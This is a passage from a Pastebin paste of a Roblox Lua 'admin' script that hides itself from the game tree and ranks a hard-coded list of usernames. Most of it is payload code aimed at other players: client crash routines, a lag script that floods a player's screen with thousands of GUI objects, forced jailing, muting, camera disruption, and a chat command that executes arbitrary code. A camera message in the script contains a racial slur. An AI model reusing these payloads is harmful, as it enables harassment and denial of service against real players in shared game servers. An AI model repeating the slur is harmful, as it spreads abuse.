TheProNoob2004

Kaj Admin Gen 8

Jul 30th, 2016
431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 123.67 KB | None | 0 0
  1. --((Rare[Main{GLOBAL}Kaj Admin Generation 8
  2. --[[
  3. Kaj Admin Generation 8
  4. Lol global admin
  5. ]]
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18. if script then
  19. coroutine.yield()
  20. script.Parent = nil
  21. end
  22. --[[Stuff]]--
  23. VR = _VERSION
  24. Plrs = game:GetService("Players")
  25. Work = game:GetService("Workspace")
  26. Light = game:GetService("Lighting")
  27. Net = game:GetService("NetworkServer")
  28. Removed = false
  29. Bet = "/"
  30. LS = nil
  31. LSSource = nil
  32. OwnSource = nil
  33. FoundLocalScript = false
  34. LogOn = false
  35. Current = game
  36. Clipboard = {}
  37. AlertColor = Color3.new(1, 0, 0)
  38. OptionColor = Color3.new(1, 1, 1)
  39. ImportantColor = Color3.new(1, 0, 1)
  40. --[[Ranks]]--
  41. RankDetails = {
  42. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Muted"},
  43. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
  44. [-1] = {Name = "Just Banned", Color = Color3.new(1, 1, 1), Desc = "Banned forever"},
  45. [0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
  46. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
  47. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  48. [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
  49. [4] = {Name = "Super Adminstrator", Color = Color3.new(1, 0, 0), Desc = "Super Administrator)"},
  50. [5] = {TheProNoob2004 = "Maximum Adminstrator", Color = Color3.new(-1, -1, -1), Desc = "Maximum Adminstrator"},
  51.  
  52. }
  53.  
  54. Rankings = {
  55. {Name = "TheProNoob2004", Rank = 6},
  56. {Name = "Ethancomputermad", Rank = 3},
  57. {Name = "ZexorAdmin", Rank = 1},
  58. {Name = "DecimatorOfCreations", Rank = 3},
  59. {Name = "ValkazarAdmin", Rank = 2},
  60. {Name = "MoistAdmin", Rank = 2},
  61. {Name = "Stypi", Rank = 1},
  62. {Name = "Titanpad", Rank = 2},
  63. {Name = "ImAmYourSon", Rank = -1},
  64. {Name = "ERRORscript", Rank = -1},
  65. {Name = "iKrypto", Rank = -1},
  66. {Name = "MessorAdmin", Rank = 1},
  67. {Name = "kayaven", Rank = 1},
  68. {Name = "iLordVex", Rank = 2},
  69. {Name = "xandon", Rank = 3},
  70. {Name = "nolanhawz1", Rank = -1},
  71. {Name = "Djblakey", Rank = -1},
  72. {Name = "Supah", Rank = -1},
  73. {Name = "cand1164", Rank = 6},
  74. {Name = "KaleyFranzwa", Rank = 6},
  75. {Name = "KaleyAdmin", Rank = 6},
  76. {Name = "FranzwaAdmin", Rank = 6},
  77. {Name = "Slurrrp", Rank = -1},
  78. {Name = "Particle", Rank = -1},
  79. {Name = "hyperionGM", Rank = 3},
  80. {Name = "optiplex123", Rank = 3},
  81. {Name = "aleksa12432", Rank = 3},
  82. {Name = "YoungWarlock", Rank = 5},
  83. {Name = "luxulux", Rank = 3},
  84. {Name = "OMGshadeslayer", Rank = 2},
  85. {Name = "moderrncombat", Rank = 6},
  86. {Name = "bloxking3", Rank = 2},
  87. {Name = "xxCONTENTDELETERxx", Rank = -2},
  88. {Name = "joemom33", Rank = 2},
  89. {Name = "1waffle1", Rank = 1},
  90. {Name = "Abscissa", Rank = 2},
  91. {Name = "Ultimatekiller010", Rank = 2},
  92. {Name = "DrBackstab", Rank = 2},
  93. {Name = "LuaModelMaker", Rank = 2},
  94. {Name = "MakerModelLua", Rank = 2},
  95. {Name = "MrMrLua", Rank = 2},
  96. {Name = "MountainSnow", Rank = 2},
  97. {Name = "madiik", Rank = 2},
  98. {Name = "dogwarrior24", Rank = 2},
  99. {Name = "ThePC8110", Rank = 2},
  100. {Name = "DEADDEVIL1919", Rank = 2},
  101. {Name = "toshir0z", Rank = 2},
  102. {Name = "Tippee", Rank = 2},
  103. {Name = "Trcker", Rank = 3},
  104. {Name = "nairod7", Rank = 2},
  105. {Name = "12packkid", Rank = 2},
  106. {Name = "TigreBlood", Rank = 2},
  107. {Name = "Frostftw", Rank = -1},
  108. {Name = "DoogleFox", Rank = 2},
  109. {Name = "Aetheus", Rank = 3},
  110. {Name = "Ri1es", Rank = 2},
  111. {Name = "hrocks1", Rank = 2},
  112. {Name = "Zinsei", Rank = 1},
  113. {Name = "KaleyAdmin", Rank = 2},
  114. {Name = "tusKOr661", Rank = 2},
  115. {Name = "Unicornhax", Rank = 1},
  116. {Name = "iMayor", Rank = 1},
  117. {Name = "iMyLittlePony", Rank = 1},
  118. {Name = "xXxkarlxXx", Rank = 1},
  119. {Name = "LightningRoMan", Rank = 1},
  120. {Name = "Builderman3464", Rank = 6},
  121. {Name = "serun15", Rank = 2},
  122. {Name = "AtlasGrim", Rank = 1},
  123. {Name = "noliCAIKS", Rank = 4},
  124. {Name = "Oxcool1", Rank = 1},
  125. {Name = "V3rmilli0n", Rank = 1},
  126. {Name = "v3mil10n", Rank = -1},
  127. {Name = "jarredbcv", Rank = 2},
  128. {Name = "G1anl0rd", Rank = 2},
  129. {Name = "gostar1234567890", Rank = 1},
  130. {Name = "saintsrowrulzz", Rank = 2},
  131. {Name = "TeamDman", Rank = 4},
  132. {Name = "ROBLOX", Rank = 2},
  133. {Name = "StickMasterLuke", Rank = 3},
  134. {Name = "builderman", Rank = 1},
  135. {Name = "hatting", Rank = 1},
  136. {Name = "Cobalt", Rank = 3},
  137. {Name = "Seranok", Rank = 2},
  138. {Name = "SternKind", Rank = 2},
  139. {Name = "MrNil", Rank = 2},
  140. {Name = "KotixPL", Rank = 1},
  141. {Name = "8BitNils", Rank = 1},
  142. {Name = "FANTASTIC5001", Rank = 2},
  143. {Name = "FANTASTlC5001", Rank = 6},
  144. {Name = "moded", Rank = 2},
  145. {Name = "NilScripter", Rank = 1},
  146. {Name = "NilScripterALT", Rank = -1},
  147. {Name = "Z7M", Rank = 2},
  148. {Name = "InstallingData", Rank = 1},
  149. {Name = "SeverGuardianAdmin", Rank = -1},
  150. {Name = "ServerGuardianAdmin", Rank = -1},
  151. {Name = "fiddlesticks", Rank = 1},
  152. {Name = "Daniel k", Rank = 3},
  153. {Name = "TraNinjaGuy", Rank = 1},
  154. {Name = "DrMigos", Rank = 1},
  155.  
  156.  
  157.  
  158. }
  159.  
  160.  
  161. --[[End of Ranks]]--
  162. ImportantServices = {
  163. "Workspace",
  164. "Players",
  165. "NetworkServer",
  166. "Lighting",
  167. "StarterGui",
  168. "Teams",
  169. "StarterPack",
  170. }
  171.  
  172. Ranks = {}
  173. Commands = {}
  174. AllTabs = {}
  175. Injected = {}
  176.  
  177. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  178. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  179. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  180. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  181. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  182. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  183. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  184. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  185. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  186. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  187. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  188. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  189. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  190. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  191. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  192. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  193. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  194. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  195. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  196. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  197. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  198. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  199. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  200. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  201. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  202. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  203. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  204. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  205. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  206. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  207. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  208. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  209. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  210. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  211. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  212. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  213. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  214. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  215. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  216. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  217. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  218. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  219. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  220. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  221. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  222. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  223. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  224. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  225. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  226. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  227. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  228. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  229. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  230. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  231. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  232. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  233. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  234. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  235. "X","Y"}
  236.  
  237. --Main Functions And Sources
  238.  
  239. function Insert(Source, Par, Par2, Par3)
  240. ypcall(function()
  241. local Inserted = LS:Clone()
  242. Inserted.Disabled = true
  243. Inserted.Parent = Par or Par2 or Par3
  244. Inserted[LSSource].Value = Source
  245. Inserted.Disabled = false
  246. end)
  247. end
  248.  
  249. function CheckImportant(Name)
  250. for _,v in pairs(ImportantServices) do
  251. if v:lower() == Name:lower() then
  252. return true
  253. end
  254. end
  255. return false
  256. end
  257.  
  258. function Crash1(Plr)
  259. ypcall(function()
  260. Plr:Kick()
  261. end)
  262. end
  263.  
  264. function GetRankTab()
  265. return Rankings
  266. end
  267.  
  268. function Crash2(Name)
  269. local Crasher = Instance.new("StringValue")
  270. Crasher.Name = "Client"
  271. Crasher.Value = string.lower(tostring(Name))
  272. Crasher.Parent = game:GetService("Lighting")
  273. wait(1)
  274. if Crasher and Crasher.Parent then
  275. ypcall(function()
  276. Crasher:Destroy()
  277. end)
  278. end
  279. end
  280.  
  281. function Crash3(v, Speaker)
  282. Speaker.Character.Archivable = true
  283. local NChar = Speaker.Character:Clone()
  284. NChar.Name = v.Name
  285. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  286. NChar.Parent = Workspace
  287. v.Character = NChar
  288. coroutine.resume(coroutine.create(function()
  289. repeat v.Character = NChar
  290. wait(1/3) until false
  291. end))
  292. wait(.5)
  293. Insert(InsertCrash, NChar, nil, nil)
  294. end
  295.  
  296. function GenerateDigit()
  297. return 1 + 5
  298. end
  299.  
  300.  
  301. NilS = [==[
  302. if script then
  303. coroutine.yield()
  304. script.Parent = nil
  305. end
  306. Player=game.Players.LocalPlayer
  307. Probe=Instance.new'Part';
  308. CN='Kaj TabletsNil | ['..Player.Name..']'
  309. Camera=Workspace.CurrentCamera
  310. Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
  311. Char = Player.Character
  312. if Char then
  313. Char.Archivable = true
  314. Char = Char:clone()
  315. local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
  316. if t then
  317. for k,v in pairs(Char:GetChildren()) do
  318. if not v:IsA("Part") then
  319. v:clone().Parent = t
  320. end
  321. end
  322. Char = t:clone()
  323. if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
  324. local spot = Instance.new("SpotLight",Char.Head)
  325. spot.Angle = 10
  326. spot.Range = 10
  327. spot.Color = Color3.new(1,1,1)
  328. spot.Brightness = 10
  329. local point = Instance.new("PointLight",Char.Head)
  330. point.Range = 10
  331. point.Color = Color3.new(1,1,1)
  332. point.Brightness = 10
  333. end
  334. end
  335. end
  336.  
  337. coroutine.resume(coroutine.create(function()
  338. while true do wait(0.00000001)
  339. pcall(function()
  340. if Character.Torso.CFrame.Y < 1 then
  341. Character.Torso.CFrame = CFrame.new(0,20,0)
  342. end
  343. end)
  344. end
  345. end))
  346. Title=function(txt,part,color,rise)
  347. col=nil
  348. col=Color3.new(BrickColor.new(color))
  349. local Gui = Instance.new("BillboardGui",part)
  350. Gui.Name = "3DGUI"
  351. Gui.ExtentsOffset = Vector3.new(0,2,0)
  352. Gui.Size = UDim2.new(8,0,2,0)
  353. local Tit = Instance.new("TextLabel",Gui)
  354. Tit.Name = "Title"
  355. Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  356. Tit.TextColor3 = Color3.new(0,0,0)
  357. Tit.TextTransparency = 0.25
  358. Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  359. Tit.TextStrokeTransparency = 0.5
  360. Tit.Size = UDim2.new(1,0,1,0)
  361. Tit.BackgroundTransparency = 1
  362. Tit.Font = "ArialBold"
  363. Tit.TextScaled = true
  364. Tit.Text = txt
  365. if rise then
  366. if not tonumber(rise) then rise = 1 end
  367. coroutine.wrap(function()
  368. while Tit.Parent and Gui.Parent and wait() do
  369. Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
  370. end
  371. end)()
  372. end
  373. return Tit
  374. end
  375. Chat=function(Part,Text,Color,Type)
  376. if Type==nil or Type==1 or Type=='Bubble' then
  377. game:service'Chat':Chat(Part,Text,Color)
  378. else
  379. if type(Color)~='string' then
  380. Color=tostring(BrickColor.random())
  381. end
  382. Title(Text,Part,Color,math.random(1,3))
  383. end
  384. end
  385. DestroyCharacter=function()
  386. local chara = Player.Character
  387. if not chara then return end
  388. if chara:findFirstChild("Humanoid") then
  389. chara.Humanoid:Destroy()
  390. end
  391. chara:BreakJoints()
  392. for k,v in pairs(chara:GetChildren()) do
  393. if v:IsA("BasePart") then
  394. v.CanCollide = false
  395. v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
  396. v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  397. end
  398. end
  399. game.Debris:AddItem(chara,3)
  400. end
  401. MakeProbe=function()
  402. if Player.Character then DestroyCharacter() end Player.Character = nil
  403. if Probe then Probe:Destroy() end
  404. Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
  405. Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
  406. Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
  407. Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
  408. coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
  409. Player.Character=Probe
  410. end
  411. Spawn=function()
  412. if Char then
  413. local c = Char:clone()
  414. c.Name = CN
  415. c.Parent = workspace
  416. c:MoveTo(workspace.CurrentCamera.Focus.p)
  417. Player.Character = c
  418. workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
  419. workspace.CurrentCamera.CameraType = "Custom"
  420. Probe:Destroy()
  421. end
  422. end
  423. Player.Chatted:connect(function(Msg)
  424. game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
  425. if Msg:sub(1,2) == '//' then
  426. local Func,Error=loadstring(Msg:sub(3))
  427. if Error==nil then
  428. pcall(Func)
  429. if Player.Character then
  430. game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
  431. end
  432. else
  433. if Player.Character then
  434. game:service'Chat':Chat(Player.Character.Head,Error,'Red')
  435. else
  436. local Msg=Instance.new'Message'
  437. Msg.Parent=Workspace.CurrentCamera
  438. Msg.Text=Error
  439. game:service'Debris':AddItem(Msg,5)
  440. end
  441. end
  442. elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
  443. NewMsg=Msg:sub(#('newlocal')+3)
  444. Split=NewMsg:find('/')
  445. local PlayerName=NewMsg:sub(1,Split-1)
  446. local Source=NewMsg:sub(Split+1)
  447. Player=nil
  448. for i,v in pairs(game.Players:GetPlayers()) do
  449. if v.Name:lower():sub(1,#PlayerName)==PlayerName then
  450. if Player==nil then
  451. Player=v
  452. else
  453. if type(Player) == 'table' then
  454. Player[#Player+1]=v
  455. else
  456. Player={v}
  457. end
  458. end
  459. end
  460. end
  461. if type(Player)=='table' then
  462. for i,v in pairs(Player) do
  463. if newLocalScript then
  464. newLocalScript(Source,v.Character)
  465. else
  466. Clone=script:clone();
  467. SourceC=Clone:children()[1]
  468. if SourceC:IsA'StringValue' then
  469. print'String'
  470. else
  471. SourceC=Clone:children()[2]
  472. end
  473. SourceC.Value=Source
  474. Clone.Disabled=true
  475. Clone.Parent=v.Character
  476. Clone.Disabled=false
  477. end
  478. end
  479. else
  480. if newLocalScript then
  481. newLocalScript(Source,Player.Character)
  482. else
  483. Clone=script:clone();
  484. DS=Clone:children()
  485. DSS=nil
  486. for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
  487. DSS.Value=Source
  488. Clone.Disabled=true;
  489. Clone.Parent=Player.Character
  490. Clone.Disabled=false
  491. end
  492. end
  493. elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
  494. game:service'TeleportService':Teleport(Game.PlaceId)
  495. elseif Msg:sub(1,#('probe')+2) == '/probe/' then
  496. MakeProbe()
  497. elseif Msg:sub(1,#('char')+2) =='/char/' then
  498. Spawn()
  499. elseif Msg:sub(1,#('ban')+2) == '/ban/' then
  500. Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
  501. if Player then
  502. repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
  503. end
  504. end
  505. wait()
  506. if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
  507. if Probe then
  508. Chat(Probe,Msg,math.random(0,2))
  509. else
  510. if Player.Character==nil then
  511. if Char then
  512. Chat(Char.Head,Msg,math.random(0,2))
  513. end
  514. else
  515. Chat(Player.Character.Head,Msg,'Red')
  516. end
  517. end
  518. end
  519. end) -- local
  520. ]==]
  521.  
  522. InjectionCrash = [=[
  523. wait(0)
  524. script.Parent = nil
  525. local Lig = game:GetService("Lighting")
  526. local LP = game:GetService("Players").LocalPlayer
  527. local LowerName = LP.Name:lower()
  528.  
  529. Lig.ChildAdded:connect(function(Obj)
  530. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  531. pcall(function()
  532. Obj:Destroy()
  533. end)
  534. LP.Parent = nil
  535. LP.Parent = game:GetService("Players")
  536. end
  537. end)
  538. ]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Yeah, rank 6.")}
  539.  
  540. InsertCrash = [==[
  541. local LP = game:GetService("Players").LocalPlayer
  542. LP.Parent = nil
  543. LP.Parent = game:GetService("Players")
  544. ]==]
  545.  
  546. LagSource = [==[
  547. wait(0)
  548. script.Parent = nil
  549. plr = game:GetService("Players").LocalPlayer
  550. local plrgui = plr:findFirstChild("PlayerGui")
  551. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  552. while plr.Parent == game:GetService("Players") do
  553. wait()
  554. for i = 1, 1000 do
  555. local sc = Instance.new("ScreenGui",plrgui)
  556. local fr = Instance.new("TextLabel",sc)
  557. fr.Text = "LAGGING"
  558. fr.Size = UDim2.new(1, 0, 1, 0)
  559. fr.FontSize = "Size48"
  560. end
  561. end
  562. ]==]
  563.  
  564. MuteSource = [==[
  565. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  566. ]==]
  567.  
  568. UnMuteSource = [==[
  569. game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
  570. ]==]
  571.  
  572. FunScript = [[
  573. LP = game:service'Players'.LocalPlayer
  574. Shapes = {"Ball", "Block"}
  575. wait()
  576. script.Parent = nil
  577. Delay(0, function()
  578. while wait() do
  579. workspace.CurrentCamera.CameraType = "Scriptable"
  580. workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
  581. workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
  582. workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
  583. local Part = Instance.new("Part", workspace.CurrentCamera)
  584. Part.Shape = Shapes[math.random(1, 2)]
  585. Part.Anchored = true
  586. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  587. Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
  588. Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
  589. local Smoke = Instance.new("Smoke", Part)
  590. Smoke.Color = Color3.new(math.random(), math.random(), math.random())
  591. Smoke.Opacity = 0.7
  592. local Sparkles = Instance.new("Sparkles", Part)
  593. Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
  594. local Fire = Instance.new("Fire", Part)
  595. Fire.Color = Color3.new(math.random(), math.random(), math.random())
  596. Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
  597. local Ex = Instance.new("Explosion", workspace.CurrentCamera)
  598. Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
  599. Ex.BlastPressure = 15
  600. Ex.BlastRadius = 12.5
  601. if not workspace.CurrentCamera:findFirstChild("Hint") then
  602. local mes = Instance.new("Hint", workspace.CurrentCamera)
  603. mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
  604. end
  605. end
  606. end)
  607. ]]
  608.  
  609. JailSource = [==[
  610. wait(0)
  611. script.Parent = nil
  612.  
  613. local LP = game:GetService("Players").LocalPlayer
  614. Middle2 = nil
  615. Middle = nil
  616. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  617.  
  618. Cons = {}
  619.  
  620. function makePrison()
  621. for _,v in pairs(Cons) do
  622. v:disconnect()
  623. end
  624. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  625. if Middle == nil then
  626. Middle2 = LP.Character.Torso.Position
  627. Middle = LP.Character.Torso.CFrame
  628. end
  629. local side1 = Instance.new("Part")
  630. side1.Name = "¬Focus1¬"
  631. side1.Size = Vector3.new(20, 50, 1)
  632. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  633. side1.BrickColor = BrickColor.new("Really black")
  634. side1.CanCollide = true
  635. side1.Anchored = true
  636. side1.TopSurface = "Smooth"
  637. side1.BottomSurface = "Smooth"
  638. side1.Parent = game:GetService("Workspace").CurrentCamera
  639.  
  640. local side2 = Instance.new("Part")
  641. side2.Name = "¬Focus2¬"
  642. side2.Size = Vector3.new(20, 50, 1)
  643. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  644. side2.BrickColor = BrickColor.new("Really black")
  645. side2.CanCollide = true
  646. side2.Anchored = true
  647. side2.TopSurface = "Smooth"
  648. side2.BottomSurface = "Smooth"
  649. side2.Parent = game:GetService("Workspace").CurrentCamera
  650.  
  651. local side3 = Instance.new("Part")
  652. side3.Name = "¬Focus3¬"
  653. side3.Size = Vector3.new(1, 50, 20)
  654. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  655. side3.BrickColor = BrickColor.new("Really black")
  656. side3.CanCollide = true
  657. side3.Anchored = true
  658. side3.TopSurface = "Smooth"
  659. side3.BottomSurface = "Smooth"
  660. side3.Parent = game:GetService("Workspace").CurrentCamera
  661.  
  662. local side4 = Instance.new("Part")
  663. side4.Name = "¬Focus4¬"
  664. side4.Size = Vector3.new(1, 50, 20)
  665. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  666. side4.BrickColor = BrickColor.new("Really black")
  667. side4.CanCollide = true
  668. side4.Anchored = true
  669. side4.TopSurface = "Smooth"
  670. side4.BottomSurface = "Smooth"
  671. side4.Parent = game:GetService("Workspace").CurrentCamera
  672.  
  673. local side5 = Instance.new("Part")
  674. side5.Name = "¬Focus5¬"
  675. side5.Size = Vector3.new(20, 1, 20)
  676. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  677. side5.BrickColor = BrickColor.new("Really black")
  678. side5.CanCollide = true
  679. side5.Anchored = true
  680. side5.TopSurface = "Smooth"
  681. side5.BottomSurface = "Smooth"
  682. side5.Parent = game:GetService("Workspace").CurrentCamera
  683.  
  684. wait(0)
  685.  
  686. table.insert(Cons, side1.Changed:connect(makePrison))
  687. table.insert(Cons, side2.Changed:connect(makePrison))
  688. table.insert(Cons, side3.Changed:connect(makePrison))
  689. table.insert(Cons, side4.Changed:connect(makePrison))
  690. table.insert(Cons, side5.Changed:connect(makePrison))
  691. end
  692.  
  693. Delay(0, function()
  694. while wait(0) do
  695. ypcall(function()
  696. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  697. LP.Character:BreakJoints()
  698. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  699. makePrison()
  700. end
  701. end)
  702. ypcall(function()
  703. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  704. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  705. end
  706. end)
  707. end
  708. end)
  709. ]==]
  710.  
  711. function All()
  712. local AllPlayers = {}
  713. for _,v in pairs(Plrs:GetPlayers()) do
  714. ypcall(function()
  715. table.insert(AllPlayers, v)
  716. end)
  717. end
  718. return AllPlayers
  719. end
  720.  
  721. function All2()
  722. local AllPlayers2 = {}
